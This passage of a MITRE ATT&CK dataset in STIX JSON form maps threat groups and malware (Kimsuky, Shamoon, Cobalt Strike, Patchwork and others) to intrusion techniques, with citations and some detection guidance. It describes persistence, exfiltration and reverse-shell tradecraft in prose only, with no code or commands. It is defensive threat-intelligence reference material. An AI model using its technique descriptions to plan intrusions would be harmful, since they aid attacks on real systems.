Lazarus\u2019 Multi-Platform Attack Capability. Retrieved August 10, 2020."}], "modified": "2020-08-10T13:14:05.247Z", "description": "[Dacls](https://attack.mitre.org/software/S0497) can establish persistence via a Launch Daemon.(Citation: SentinelOne Lazarus macOS July 2020)(Citation: TrendMicro macOS Dacls May 2020)", "relationship_type": "uses", "source_ref": "malware--3aa169f8-bbf6-44bb-b57d-7f6ada5c2128", "target_ref": "attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c592bcf5-6e88-4d77-a274-0a58b7388e76", "type": "relationship", "created": "2021-04-13T20:27:51.721Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Recorded Future REDDELTA July 2020", "url": "https://go.recordedfuture.com/hubfs/reports/cta-2020-0728.pdf", "description": "Insikt Group. (2020, July 28). CHINESE STATE-SPONSORED GROUP \u2018REDDELTA\u2019 TARGETS THE VATICAN AND CATHOLIC ORGANIZATIONS. Retrieved April 13, 2021."}], "modified": "2021-04-13T20:27:51.721Z", "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) has downloaded additional executables following the initial infection stage.(Citation: Recorded Future REDDELTA July 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c596a5d9-8206-4140-ad7f-a58d95ea2bba", "type": "relationship", "created": "2022-03-30T14:26:51.855Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.855Z", "description": "Monitor for contextual data about a malicious payload, such as compilation times, file hashes, as well as watermarks or other identifiable configuration information. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.", "source_ref": "x-mitre-data-component--93a6e38c-02a5-44d8-9035-b2e08459f31f", "target_ref": "attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c596d308-22af-45db-9c72-2ce1b3695f90", "created": "2023-09-27T20:15:18.300Z", "revoked": false, "external_references": [{"source_name": "MoustachedBouncer ESET August 2023", "description": "Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.", "url": "https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-27T20:15:18.300Z", "description": "[NightClub](https://attack.mitre.org/software/S1090) has the ability to monitor removable drives.(Citation: MoustachedBouncer ESET August 2023)", "relationship_type": "uses", "source_ref": "malware--91c57ed3-7c32-4c68-b388-7db00cb8dac6", "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c597beea-3bcd-45ee-a400-5b615f9ae621", "type": "relationship", "created": "2020-05-08T18:56:22.967Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Inception November 2018", "url": "https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/", "description": "Lancaster, T. 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(2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.", "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99"}], "modified": "2020-02-18T03:48:53.698Z", "description": "[Hydraq](https://attack.mitre.org/software/S0203) connects to a predefined domain on port 443 to exfil gathered information.(Citation: Symantec Hydraq Jan 2010)", "relationship_type": "uses", "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c5a19163-a5b3-4b14-bf9d-d23d95d218d4", "created": "2024-03-28T15:43:51.205Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye TRITON 2019", "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-10T15:15:18.666Z", "description": "During the [C0032](https://attack.mitre.org/campaigns/C0032) campaign, [TEMP.Veles](https://attack.mitre.org/groups/G0088) used VPN access to persist in the victim environment.(Citation: FireEye TRITON 2019)", "relationship_type": "uses", "source_ref": "campaign--7ec2826c-0bf0-4b47-acae-fd683431a4ca", "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c5a7cf46-a3ab-4d33-a43f-012c0c5fdf63", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto Shamoon Nov 2016", "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"}], "modified": "2019-04-24T23:59:16.128Z", "description": "[Shamoon](https://attack.mitre.org/software/S0140) attempts to disable UAC remote restrictions by modifying the Registry.(Citation: Palo Alto Shamoon Nov 2016)", "relationship_type": "uses", "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c5a8316e-f45c-432d-beb3-d8de4785dba3", "created": "2022-04-11T17:18:45.080Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Profero APT27 December 2020", "description": "Global Threat Center, Intelligence Team. (2020, December). APT27 Turns to Ransomware. Retrieved November 12, 2021.", "url": "https://web.archive.org/web/20210104144857/https://shared-public-reports.s3-eu-west-1.amazonaws.com/APT27+turns+to+ransomware.pdf"}, {"source_name": "Trend Micro DRBControl February 2020", "description": "Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021.", "url": "https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T20:05:38.086Z", "description": "[RCSession](https://attack.mitre.org/software/S0662) can collect data from a compromised host.(Citation: Profero APT27 December 2020)(Citation: Trend Micro DRBControl February 2020)", "relationship_type": "uses", "source_ref": "malware--03acae53-9b98-46f6-b204-16b930839055", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--c5ae5910-07ed-42f5-a51f-bca546d52885", "created": "2022-03-30T14:26:51.837Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Extra scrutiny should be placed on suspicious modification of Registry keys such as COR_ENABLE_PROFILING, COR_PROFILER, and COR_PROFILER_PATH by command line tools like wmic.exe, setx.exe, and [Reg](https://attack.mitre.org/software/S0075). Monitoring for command-line arguments indicating a change to COR_PROFILER variables may aid in detection.", "modified": "2022-04-20T00:36:03.870Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--c5ae9551-e756-4b8b-9b78-515eba60acf5", "created": "2019-08-26T15:27:13.046Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Talos Kimsuky Nov 2021", "url": "https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html", "description": "An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021."}, {"source_name": "CISA AA20-301A Kimsuky", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."}, {"source_name": "Crowdstrike GTR2020 Mar 2020", "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."}, {"source_name": "KISA Operation Muzabi", "url": "https://www.boho.or.kr/krcert/publicationView.do?bulletin_writing_sequence=35936", "description": "KISA. (n.d.). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 7, 2022."}, {"source_name": "Securelist Kimsuky Sept 2013", "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/", "description": "Tarakanov , D.. (2013, September 11). The \u201cKimsuky\u201d Operation: A North Korean APT?. Retrieved August 13, 2019."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has placed scripts in the startup folder for persistence and modified the `HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce` Registry key.(Citation: Securelist Kimsuky Sept 2013)(Citation: CISA AA20-301A Kimsuky)(Citation: Crowdstrike GTR2020 Mar 2020)(Citation: Talos Kimsuky Nov 2021)(Citation: KISA Operation Muzabi)", "modified": "2022-04-12T18:17:48.401Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c5bab3a0-69b6-4ef6-97b3-3f3aecd710f8", "type": "relationship", "created": "2020-11-06T18:40:38.088Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf", "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", "source_name": "cobaltstrike manual"}, {"source_name": "Cobalt Strike Manual 4.3 November 2020", "url": "https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf", "description": "Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}], "modified": "2021-10-18T19:54:13.125Z", "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can use <code>WinRM</code> to execute a payload on a remote host.(Citation: cobaltstrike manual)(Citation: Cobalt Strike Manual 4.3 November 2020)", "relationship_type": "uses", "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", "target_ref": "attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c5be8127-669e-49b9-b603-581e3498d203", "type": "relationship", "created": "2020-05-29T19:02:07.052Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro TA505 June 2019", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/", "description": "Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group\u2019s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020."}], "modified": "2020-05-29T19:02:07.052Z", "description": "(Citation: Trend Micro TA505 June 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c5caa197-e990-4214-ae50-7abeb5df199f", "type": "relationship", "created": "2022-03-30T14:26:51.844Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.844Z", "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--ca9d3402-ada3-484d-876a-d717bd6e05f2", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c5cf4822-a0bf-442a-9943-1937ac45520b", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Baumgartner Naikon 2015", "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"}], "modified": "2020-03-18T15:53:57.648Z", "description": "To establish persistence, [SslMM](https://attack.mitre.org/software/S0058) identifies the Start Menu Startup directory and drops a link to its own executable disguised as an \u201cOffice Start,\u201d \u201cYahoo Talk,\u201d \u201cMSN Gaming Z0ne,\u201d or \u201cMSN Talk\u201d shortcut.(Citation: Baumgartner Naikon 2015)", "relationship_type": "uses", "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c5d09de5-7a1e-45b5-a7ac-1637e8fe8eff", "type": "relationship", "created": "2019-01-30T17:13:11.872Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf", "source_name": "ClearSky MuddyWater Nov 2018"}, {"source_name": "TrendMicro POWERSTATS V3 June 2019", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/", "description": "Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020."}], "modified": "2020-05-18T19:37:52.438Z", "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can use VBScript (VBE) code for execution.(Citation: ClearSky MuddyWater Nov 2018)(Citation: TrendMicro POWERSTATS V3 June 2019)", "relationship_type": "uses", "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c5d4cfac-aa9a-4dfb-a991-e81f70a937e2", "type": "relationship", "created": "2021-12-10T14:34:38.896Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA20-296A Berserk Bear December 2020", "url": "https://www.cisa.gov/uscert/ncas/alerts/aa20-296a#revisions", "description": "CISA. (2020, December 1). Russian State-Sponsored Advanced Persistent Threat Actor Compromises U.S. Government Targets. Retrieved December 9, 2021."}], "modified": "2021-12-10T14:34:38.896Z", "description": "[Dragonfly](https://attack.mitre.org/groups/G0035) has scanned targeted systems for vulnerable Citrix and Microsoft Exchange services.(Citation: CISA AA20-296A Berserk Bear December 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1", "target_ref": "attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c5d62fbd-ff2e-459a-84a3-462aa73ac01e", "type": "relationship", "created": "2022-03-30T14:26:51.851Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.851Z", "description": "Monitor interactions with images and containers by users to identify ones that are modified anomalously.\nIn containerized environments, changes may be detectable by monitoring the Docker daemon logs or setting up and monitoring Kubernetes audit logs depending on registry configuration.", "source_ref": "x-mitre-data-component--071a09b1-8945-46fd-8bb7-6bcc89400963", "target_ref": "attack-pattern--4fd8a28b-4b3a-4cd6-a8cf-85ba5f824a7f", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c5d67c9b-f8de-420a-ad05-3691ca001b64", "type": "relationship", "created": "2020-08-17T15:22:29.071Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/", "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", "source_name": "ESET InvisiMole June 2018"}], "modified": "2020-08-17T15:22:29.072Z", "description": "\n[InvisiMole](https://attack.mitre.org/software/S0260) can disconnect previously connected remote drives.(Citation: ESET InvisiMole June 2018)", "relationship_type": "uses", "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", "target_ref": "attack-pattern--a750a9f6-0bde-4bb3-9aae-1e2786e9780c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--c5d72f44-5b9c-4927-a232-6cd81fdbcc13", "created": "2022-02-01T20:04:13.533Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Kaspersky WIRTE November 2021", "url": "https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044", "description": "Yamout, M. (2021, November 29). WIRTE\u2019s campaign in the Middle East \u2018living off the land\u2019 since at least 2019. Retrieved February 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Ferocious](https://attack.mitre.org/software/S0679) can run anti-sandbox checks using the Microsoft Excel 4.0 function <code>GET.WORKSPACE</code> to determine the OS version, if there is a mouse present, and if the host is capable of playing sounds.(Citation: Kaspersky WIRTE November 2021)", "modified": "2022-04-16T21:48:40.519Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--73d08401-005f-4e1f-90b9-8f45d120879f", "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c5da001c-2c17-4e83-8e5c-21863ead4bd9", "type": "relationship", "created": "2017-05-31T21:33:27.075Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://web.archive.org/web/20180825085952/https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf", "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.", "source_name": "Cymmetria Patchwork"}, {"source_name": "TrendMicro Patchwork Dec 2017", "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"}, {"source_name": "Volexity Patchwork June 2018", "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/"}], "modified": "2021-11-02T21:06:31.712Z", "description": "[Patchwork](https://attack.mitre.org/groups/G0040) ran a reverse shell with Meterpreter.(Citation: Cymmetria Patchwork) [Patchwork](https://attack.mitre.org/groups/G0040) used JavaScript code and .SCT files on victim machines.(Citation: TrendMicro Patchwork Dec 2017)(Citation: Volexity Patchwork June 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c5dd0d66-99f1-4efd-b0f9-bf9f9118ff16", "type": "relationship", "created": "2020-06-10T18:36:54.638Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NCSC Sandworm Feb 2020", "url": "https://www.ncsc.gov.uk/news/ncsc-supports-sandworm-advisory", "description": "NCSC. (2020, February 20). NCSC supports US advisory regarding GRU intrusion set Sandworm. Retrieved June 10, 2020."}, {"source_name": "US District Court Indictment GRU Unit 74455 October 2020", "url": "https://www.justice.gov/opa/press-release/file/1328521/download", "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}, {"source_name": "UK NCSC Olympic Attacks October 2020", "url": "https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games", "description": "UK NCSC. (2020, October 19). UK exposes series of Russian cyber attacks against Olympic and Paralympic Games . Retrieved November 30, 2020."}, {"source_name": "Secureworks IRON VIKING ", "url": "https://www.secureworks.com/research/threat-profiles/iron-viking", "description": "Secureworks. (2020, May 1). IRON VIKING Threat Profile. Retrieved June 10, 2020."}, {"source_name": "Trend Micro Cyclops Blink March 2022", "url": "https://www.trendmicro.com/en_us/research/22/c/cyclops-blink-sets-sights-on-asus-routers--.html", "description": "Haquebord, F. et al. (2022, March 17). Cyclops Blink Sets Sights on Asus Routers. Retrieved March 17, 2022."}], "modified": "2022-03-17T15:07:01.055Z", "description": "(Citation: NCSC Sandworm Feb 2020)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)(Citation: Secureworks IRON VIKING )(Citation: Trend Micro Cyclops Blink March 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", "target_ref": "malware--5719af9d-6b16-46f9-9b28-fb019541ddbb", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c5dffed7-7e56-4cee-8f96-065b4718000d", "type": "relationship", "created": "2021-09-09T14:07:32.836Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Oblique RAT March 2021", "url": "https://blog.talosintelligence.com/2021/02/obliquerat-new-campaign.html", "description": "Malhotra, A. (2021, March 2). ObliqueRAT returns with new campaign using hijacked websites. Retrieved September 2, 2021."}], "modified": "2021-10-15T14:43:12.342Z", "description": "[ObliqueRAT](https://attack.mitre.org/software/S0644) can check for blocklisted process names on a compromised host.(Citation: Talos Oblique RAT March 2021)", "relationship_type": "uses", "source_ref": "malware--5864e59f-eb4c-43ad-83b2-b5e4fae056c9", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c5e3e18d-124e-4ae2-a95c-9db8f6d53000", "type": "relationship", "created": "2020-07-15T19:02:25.131Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "IBM IcedID November 2017", "url": "https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/", "description": "Kessem, L., et al. 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Retrieved March 31, 2021."}], "modified": "2021-04-21T22:05:35.160Z", "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has used malware that is disguised as a Secure Shell (SSH) tool.(Citation: Microsoft DUBNIUM June 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c5fef08a-e2ca-4bd1-880e-80fd90dc3d6a", "type": "relationship", "created": "2020-12-04T15:01:55.429Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Accenture HyperStack October 2020", "url": "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity", "description": "Accenture. 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Retrieved December 2, 2020."}], "modified": "2020-12-04T15:01:55.429Z", "description": "[HyperStack](https://attack.mitre.org/software/S0537) can enumerate all account names on a remote share.(Citation: Accenture HyperStack October 2020)", "relationship_type": "uses", "source_ref": "malware--2cf7dec3-66fc-423f-b2c7-58f1de243b4e", "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": 